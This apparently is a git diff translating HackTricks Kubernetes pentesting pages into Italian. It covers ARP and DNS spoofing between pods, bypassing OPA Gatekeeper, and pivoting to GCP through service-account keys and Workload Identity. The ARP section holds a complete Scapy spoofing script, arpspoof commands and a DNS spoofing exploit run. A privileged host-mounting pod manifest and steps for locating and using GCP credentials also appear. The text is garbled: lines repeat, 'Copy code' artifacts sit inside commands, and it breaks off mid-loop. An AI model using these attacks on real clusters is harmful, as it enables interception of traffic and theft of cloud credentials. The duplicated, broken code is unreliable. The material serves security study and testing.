ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
Gli attacchi di ARP spoofing coinvolgono l'**attaccante che invia messaggi ARP falsificati** (Address Resolution Protocol) su una rete locale. Questo porta al collegamento dell'**indirizzo MAC dell'attaccante con l'indirizzo IP di un computer o server legittimo sulla rete**. Dopo l'esecuzione riuscita di un attacco di questo tipo, l'attaccante può intercettare, modificare o persino fermare i dati in transito. L'attacco viene eseguito sul Livello 2 del modello OSI, motivo per cui la connettività predefinita in Kubernetes a questo livello solleva preoccupazioni di sicurezza.
In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
Nello scenario verranno create 4 macchine:
- ubuntu-pe: macchina privilegiata per scappare al nodo e controllare le metriche (non necessaria per l'attacco)
- **ubuntu-attack**: **container malevolo** nel namespace predefinito
- **ubuntu-victim**: macchina **vittima** nel namespace kube-system
- **mysql**: macchina **vittima** nel namespace predefinito
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Rete Kubernetes di Base
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
Se desideri maggiori dettagli sugli argomenti di rete introdotti qui, vai ai riferimenti.
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
In generale, **la rete pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge è chiamato “**cbr0**”. (Alcuni plugin di rete installeranno il proprio bridge.) Il **cbr0 può anche gestire ARP** (Address Resolution Protocol) risoluzione. Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione utilizzando ARP.
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
Questo fatto implica che, per impostazione predefinita, **ogni pod in esecuzione nello stesso nodo** sarà in grado di **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dallo spazio dei nomi) a livello ethernet (livello 2).
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> Pertanto, è possibile eseguire attacchi di **ARP Spoofing tra pod nello stesso nodo.**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
Negli ambienti kubernetes troverai solitamente 1 (o più) **servizi DNS in esecuzione** solitamente nello spazio dei nomi kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
Nelle informazioni precedenti puoi vedere qualcosa di interessante, l'**IP del servizio** è **10.96.0.10** ma l'**IP del pod** che esegue il servizio è **172.17.0.2.**
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
Se controlli l'indirizzo DNS all'interno di qualsiasi pod troverai qualcosa di simile a questo:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Tuttavia, il pod **non sa** come arrivare a quell'**indirizzo** perché l'**intervallo pod** in questo caso è 172.17.0.10/26.
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
Pertanto, il pod invierà le **richieste DNS all'indirizzo 10.96.0.10** che sarà **tradotto** dal cbr0 **in** **172.17.0.2**.
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
> Questo significa che una **richiesta DNS** di un pod andrà **sempre** al **bridge** per **tradurre** l'**IP del servizio nell'IP dell'endpoint**, anche se il server DNS si trova nella stessa subnet del pod.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> Sapendo questo, e sapendo che **gli attacchi ARP sono possibili**, un **pod** in un nodo sarà in grado di **intercettare il traffico** tra **ogni pod** nella **subnet** e il **bridge** e **modificare** le **risposte DNS** dal server DNS (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> Inoltre, se il **server DNS** si trova nello **stesso nodo dell'attaccante**, l'attaccante può **intercettare tutte le richieste DNS** di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte.
## ARP Spoofing in pods in the same Node
## ARP Spoofing nei pod nello stesso Nodo
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
Il nostro obiettivo è **rubare almeno la comunicazione dall'ubuntu-victim al mysql**.
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
@@ -187,75 +180,69 @@ ngrep -d eth0
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
Come già accennato, se **comprometti un pod nello stesso nodo del pod del server DNS**, puoi **MitM** con **ARPSpoofing** il **bridge e il pod DNS** e **modificare tutte le risposte DNS**.
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
Hai un ottimo **tool** e **tutorial** per testare questo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Nel nostro scenario, **scarica** il **tool** nel pod attaccante e crea un \*\*file chiamato `hosts` \*\* con i **domini** che vuoi **spoofare** come:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
Esegui l'attacco alla macchina ubuntu-victim:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -272,23 +259,18 @@ dig google.com
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
> Se provi a creare il tuo script di spoofing DNS, se **modifichi solo la risposta DNS** questo **non** funzionerà, perché la **risposta** avrà un **src IP** l'indirizzo IP del **pod** **maligno** e **non sarà** **accettata**.\
> Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** dove la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS K8s e non l'IP del server DNS, maggiori informazioni su questo nell'introduzione).
## Capturing Traffic
## Cattura del Traffico
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un visualizzatore di traffico API **semplice ma potente per Kubernetes** che ti consente di **visualizzare tutta la comunicazione API** tra microservizi per aiutarti a debug e risolvere regressioni.\
Installerà agenti nei pod selezionati e raccoglierà le loro informazioni sul traffico e te le mostrerà in un server web. Tuttavia, avrai bisogno di elevate autorizzazioni K8s per questo (e non è molto furtivo).
## References
## Riferimenti
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}

88
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
View File

@@ -1,80 +1,72 @@
# Kubernetes - OPA Gatekeeper
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
## Definizione
Open Policy Agent (OPA) Gatekeeper è uno strumento utilizzato per applicare politiche di ammissione in Kubernetes. Queste politiche sono definite utilizzando Rego, un linguaggio di policy fornito da OPA. Di seguito è riportato un esempio base di una definizione di policy utilizzando OPA Gatekeeper:
```rego
regoCopy codepackage k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
```
Questa politica Rego verifica se sono presenti determinate etichette sulle risorse Kubernetes. Se le etichette richieste mancano, restituisce un messaggio di violazione. Questa politica può essere utilizzata per garantire che tutte le risorse distribuite nel cluster abbiano etichette specifiche.
This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
## Apply Constraint
To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
## Applica Vincolo
Per utilizzare questa politica con OPA Gatekeeper, è necessario definire un **ConstraintTemplate** e un **Constraint** in Kubernetes:
```yaml
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredlabels
name: k8srequiredlabels
spec:
crd:
spec:
names:
kind: K8sRequiredLabels
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
crd:
spec:
names:
kind: K8sRequiredLabels
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
default allow = false
```
```yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels
metadata:
name: ensure-pod-has-label
name: ensure-pod-has-label
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
labels:
requiredLabel1: "true"
requiredLabel2: "true"
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
labels:
requiredLabel1: "true"
requiredLabel2: "true"
```
In questo esempio YAML, definiamo un **ConstraintTemplate** per richiedere etichette. Poi, nominiamo questo vincolo `ensure-pod-has-label`, che fa riferimento al ConstraintTemplate `k8srequiredlabels` e specifica le etichette richieste.
In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
Quando Gatekeeper è distribuito nel cluster Kubernetes, applicherà questa politica, impedendo la creazione di pod che non hanno le etichette specificate.
When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
## References
## Riferimenti
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

40
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
View File

@@ -1,67 +1,57 @@
# Kubernetes OPA Gatekeeper bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing misconfiguration
## Abusare della misconfigurazione
### Enumerate rules
### Enumerare le regole
Having an overview may help to know which rules are active, on which mode and who can bypass it.
#### With the CLI
Avere una panoramica può aiutare a sapere quali regole sono attive, in quale modalità e chi può bypassarle.
#### Con la CLI
```bash
$ kubectl api-resources | grep gatekeeper
k8smandatoryannotations constraints.gatekeeper.sh/v1beta1 false K8sMandatoryAnnotations
k8smandatorylabels constraints.gatekeeper.sh/v1beta1 false K8sMandatoryLabel
constrainttemplates templates.gatekeeper.sh/v1 false ConstraintTemplate
```
**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources.
**ConstraintTemplate** e **Constraint** possono essere utilizzati in Open Policy Agent (OPA) Gatekeeper per applicare regole sulle risorse Kubernetes.
```bash
$ kubectl get constrainttemplates
$ kubectl get k8smandatorylabels
```
#### Con l'interfaccia grafica
#### With the GUI
A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
Un'interfaccia grafica potrebbe essere disponibile per accedere alle regole OPA con **Gatekeeper Policy Manager.** È "una semplice interfaccia web _sola lettura_ per visualizzare lo stato delle politiche OPA Gatekeeper in un cluster Kubernetes."
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
Search for the exposed service :
Cerca il servizio esposto:
```bash
$ kubectl get services -A | grep gatekeeper
$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
```
### Namespace esclusi
### Excluded namespaces
As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
Come illustrato nell'immagine sopra, alcune regole potrebbero non essere applicate universalmente a tutti i namespace o utenti. Invece, operano su base whitelist. Ad esempio, il vincolo `liveness-probe` è escluso dall'applicazione ai cinque namespace specificati.
### Bypass
With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
Con una panoramica completa della configurazione di Gatekeeper, è possibile identificare potenziali misconfigurazioni che potrebbero essere sfruttate per ottenere privilegi. Cerca namespace in whitelist o esclusi dove la regola non si applica, e poi esegui il tuo attacco lì.
{{#ref}}
../abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## Abusing ValidatingWebhookConfiguration
## Abusare di ValidatingWebhookConfiguration
Another way to bypass constraints is to focus on the ValidatingWebhookConfiguration resource :&#x20;
Un altro modo per bypassare i vincoli è concentrarsi sulla risorsa ValidatingWebhookConfiguration :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}
## References
## Riferimenti
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)

286
src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
View File

@@ -4,85 +4,72 @@
## GCP
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
Se stai eseguendo un cluster k8s all'interno di GCP, probabilmente vorrai che alcune applicazioni in esecuzione all'interno del cluster abbiano accesso a GCP. Ci sono 2 modi comuni per farlo:
### Mounting GCP-SA keys as secret
### Montare le chiavi GCP-SA come segreto
A common way to give **access to a kubernetes application to GCP** is to:
Un modo comune per dare **accesso a un'applicazione kubernetes a GCP** è:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
- Creare un GCP Service Account
- Assegnare i permessi desiderati
- Scaricare una chiave json del SA creato
- Montarla come un segreto all'interno del pod
- Impostare la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS che punta al percorso in cui si trova il json.
> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
> Pertanto, come **attaccante**, se comprometti un container all'interno di un pod, dovresti controllare quella **variabile** **env** e i **file** **json** con le credenziali GCP.
### Relating GSA json to KSA secret
### Relazionare il json GSA al segreto KSA
A way to give access to a GSA to a GKE cluser is by binding them in this way:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
Un modo per dare accesso a un GSA a un cluster GKE è legarli in questo modo:
- Creare un account di servizio Kubernetes nello stesso namespace del tuo cluster GKE utilizzando il seguente comando:
```bash
Copy codekubectl create serviceaccount <service-account-name>
```
- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui desideri concedere accesso al cluster GKE. Puoi farlo utilizzando lo strumento da riga di comando `gcloud`, come mostrato nel seguente esempio:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
--from-file=key.json=<key-file-name>.json
```
- Bind the Kubernetes Secret to the Kubernetes service account using the following command:
- Collega il Kubernetes Secret all'account di servizio Kubernetes utilizzando il seguente comando:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
> Nel **secondo passo** sono state impostate le **credenziali del GSA come segreto del KSA**. Quindi, se puoi **leggere quel segreto** dall'**interno** del cluster **GKE**, puoi **escalare a quel servizio account GCP**.
### GKE Workload Identity
### Identità del Carico di Lavoro GKE
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
Con l'Identità del Carico di Lavoro, possiamo configurare un[ account di servizio Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come un[ account di servizio Google](https://cloud.google.com/iam/docs/understanding-service-accounts). I pod che girano con l'account di servizio Kubernetes si autenticheranno automaticamente come l'account di servizio Google quando accedono alle API di Google Cloud.
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- **Enable Workload Identity** on a new cluster
La **prima serie di passi** per abilitare questo comportamento è **abilitare l'Identità del Carico di Lavoro in GCP** ([**passi**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare il SA GCP che vuoi che k8s impersoni.
- **Abilita l'Identità del Carico di Lavoro** su un nuovo cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Create/Update a new nodepool** (Autopilot clusters don't need this)
- **Crea/Aggiorna un nuovo nodepool** (I cluster Autopilot non necessitano di questo)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
- Crea il **GCP Service Account da impersonare** da K8s con permessi GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connect** to the **cluster** and **create** the **service account** to use
- **Connettersi** al **cluster** e **creare** l'**account di servizio** da utilizzare
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -93,235 +80,206 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Bind the GSA with the KSA**
- **Collegare il GSA con il KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Run a **pod** with the **KSA** and check the **access** to **GSA:**
- Esegui un **pod** con il **KSA** e controlla l'**accesso** al **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Check the following command to authenticate in case needed:
Controlla il seguente comando per autenticarti nel caso sia necessario:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
> Come attaccante all'interno di K8s dovresti **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che l'SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe cercare di abusare di ogni KSA nel cluster e controllare se ha accesso.\
> Da GCP è sempre interessante enumerare i binding e sapere **quale accesso stai dando agli SAs all'interno di Kubernetes**.
Questo è uno script per **iterare facilmente su tutte le definizioni dei pod** **cercando** quella **annotazione**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
